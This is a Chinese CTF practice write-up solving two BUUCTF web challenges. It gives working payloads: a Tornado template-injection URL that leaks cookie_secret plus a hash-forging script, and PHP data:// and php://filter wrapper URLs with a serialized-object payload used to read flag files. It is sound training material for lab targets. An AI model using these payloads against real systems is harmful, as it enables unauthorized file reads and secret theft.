[BT]BUUCTF刷题第9天(3.27)
- 软件开发
- 2025-07-22 09:12:02

第9天(共2题) [护网杯 2018]easy_tornado
打开网站就是三个txt文件
/flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename))当点进flag.txt时,url变为
http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file ?filename=/flag.txt&filehash=41a9f15a56218197f80a148252160b57所以,为了获得flag,我们应该是要访问: ?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))
flag位于的文件是知道了,但是用于md5加密的cookie_secret还不知道,因此接下来的重点是找到这个值
这里发现如果将url随便修改一下页面会返回报错网页,而且页面显示内容就是url的msg参数值,根据题目描述,网站由Python tornado模板渲染搭建,且/welcome.txt的内容是render ,因此可能存在模板注入 render()是tornado里的函数,可以生成html模板。是一个渲染函数
尝试输入1
但是尝试{{7*7}}的时候页面返回ORZ,极有可能网站进行了绕过
查看题解知道Tornado框架的附属文件handler.settings中存在cookie_secret
那么构造URL:
http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/error?msg={{handler.settings}}成功得到cookie_secret的值
接下来就是使用脚本(摘自其他题解)生成带有cookie_secret的MD5加密结果:
import hashlib file_hash = hashlib.md5() filename = '/fllllllllllllag' file_hash.update(filename.encode('utf-8')) s1 = file_hash.hexdigest() cookie_secret = "5e464901-efe3-4de1-8cff-dd7ebc369435" file_hash = hashlib.md5() file_hash.update((cookie_secret + s1).encode('utf-8')) print(file_hash.hexdigest())最后构造URL:
http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/file ?filename=/fllllllllllllag&filehash=b3d128b5ea44beaee4c83cddf7fb2c7a成功拿到flag
[ZJCTF 2019]NiZhuanSiWei打开网站就能看到源代码,首先是3个GET方法传递的参数text、file和password
第一个判断是打开text参数的文件夹(读模式),将里面的内容和"welcome to the zjctf"进行比对(我们需要使其为真)
第二个是传入的file参数不能包含flag字样
第三个是一段反序列化,我们需要知道源码
为了使第一个判断为真,我们用到的是PHP伪协议的data://【写入协议】:
?text=data://text/plain,welcome to the zjctf //写入内容 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使用Base64编码写入内容注意:写入的数据并未保存在网站上的任何地方,它只是作为URL的一部分被读取
写入成功,接下来是获得PHP序列化的源码
我们看到源代码有一个关键文件useless.php
构造URL来查看useless.php的内容:
http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/ ?text=data://text/plain,welcome%20to%20the%20zjctf/useless.php但是网站返回的源代码和上面直接看到的没有区别,这里考虑用PHP伪协议的filter【读取协议】:
http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php得到Base64编码数据
解码后得到:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>根据泄露的序列化源代码,可以构造:
<?php class Flag{ //flag.php public $file = "flag.php"; } echo serialize(new Flag); ?>得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造URL:
http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81 ?text=data://text/plain,welcome to the zjctf&file=useless.php &password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}得到flag
[BT]BUUCTF刷题第9天(3.27)由讯客互联软件开发栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“[BT]BUUCTF刷题第9天(3.27)”